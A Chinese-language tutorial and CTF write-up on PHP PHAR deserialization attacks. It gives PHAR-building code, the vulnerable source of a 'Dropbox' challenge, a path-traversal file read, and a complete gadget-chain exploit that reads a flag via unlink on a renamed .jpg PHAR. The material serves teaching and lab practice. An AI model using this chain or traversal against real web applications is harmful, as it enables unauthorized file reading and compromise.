PHAR (“Php ARchive”) 是PHP中的打包檔案，相當於Java中的JAR檔案，在php5.3或者更高的版本中預設開啟。PHAR檔案預設狀態是隻讀的，當我們要建立一個Phar檔案需要修改php.ini中的phar.readonly，修改為：phar.readonly = 0

當透過phar://協議對phar檔案進行檔案操作時，將會對phar檔案中的Meta-data進行反序列化操作，可能造成一些反序列化漏洞。

本文由錦行科技的安全研究團隊提供，從攻擊者的角度展示了PHAR反序列化攻擊的原理和過程。

1、PHAR檔案結構

stub phar：檔案標識，格式為xxx<?php xxx;__HALT_COMPILER();?>,該部分必須以 __HALT_COMPILER();?> 進行結尾，否則將無法識別，前面的內容無限制要求。

manifest：壓縮檔案的屬性等資訊，其中的Meta-data會以序列化的形式儲存。

contents：壓縮檔案的內容

signature：簽名，放在檔案末尾

2、生成PHAR檔案

生成程式如下：

<?php
Class Test{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");    //設定Stub
$o = new Test();
$o -> data='test';
$phar -> setMetadata($o);    //設定Meta-data
$phar -> addFromString("test.txt", "test");    //新增要壓縮的檔案
//簽名自動計算
$phar -> stopBuffering();
?>

生成phar檔案，使用16進位制工具檢視，可以看到Meta-data中的序列化物件

3、測試反序列化

測試程式如下：

<?php 
class Test{
     function __destruct(){
         echo $this -> data;   //物件銷燬時執行
     }
 }
include('phar://phar.phar');
?>

執行結果，可以看到列印了‘test’，證明物件被反序列化建立後銷燬。

雖然在建立PHAR檔案時字尾是固定的，但完成建立後我們是可以修改phar的字尾名的，例如修改成.jpg，當執行include('phar://phar.jpg');時也可觸發反序列化。

幾乎所有檔案操作函式都可觸發phar反序列化

4、CTF演示

題目地址：[CISCN2019 華北賽區 Day1 Web1]Dropbox（連結：https://buuoj.cn/challenges#%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox）

進入題目後，隨意註冊賬號上傳檔案，上傳點只能上傳圖片字尾

點選下載，有任意檔案讀取，但是不能讀取flag.txt

於是讀取網頁原始碼，傳入filename=../../xxx.php

detele.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭澆</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

分析原始碼

可以看到刪除檔案時使用了File類的delete函式，File類的delete使用了unlink函式，可以觸發phar反序列化。

繼續看到class.php的File類的close()函式中呼叫了file_get_contents函式，可以讀取檔案。但是要怎麼觸發呢，我們可以看到FileList的__call函式，如果我們可以讓FileList引數files為陣列且陣列中一個類為File，只要有類可以執行$FileList->close()，就可以讀取檔案並在FileList的解構函式中顯示出來了。我們看到User類的解構函式，執行了$db->close()。so，我們讓User的$db引數等於FileList就行了。

利用鏈：User類的$db賦值為FileList類，User類的解構函式執行close方法->觸發FileList的__call函式，讓$file值為File，執行$file的close函式->File執行close讀取檔案，控制$filename為想讀取的檔案->FileList物件銷燬，執行解構函式，回顯結果。

生成phar檔案程式碼：

<?php
class User{
    public $db;
}

class File{
    public $filename;
    public function __construct($filename){
        $this->filename = $filename;
    }

}

class FileList{
    private $files;
    public function __construct(){
        $this->files=array(new File('/flag.txt'));
    }
}

$user = new User();
$user->db = new FileList();
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($user);
$phar->addFromString("test.txt", "test"); 
$phar -> stopBuffering();
?>

生成phar檔案，修改字尾為jpg，上傳
刪除檔案處修改filename為‘phar://phar.jpg’,讀取到flag檔案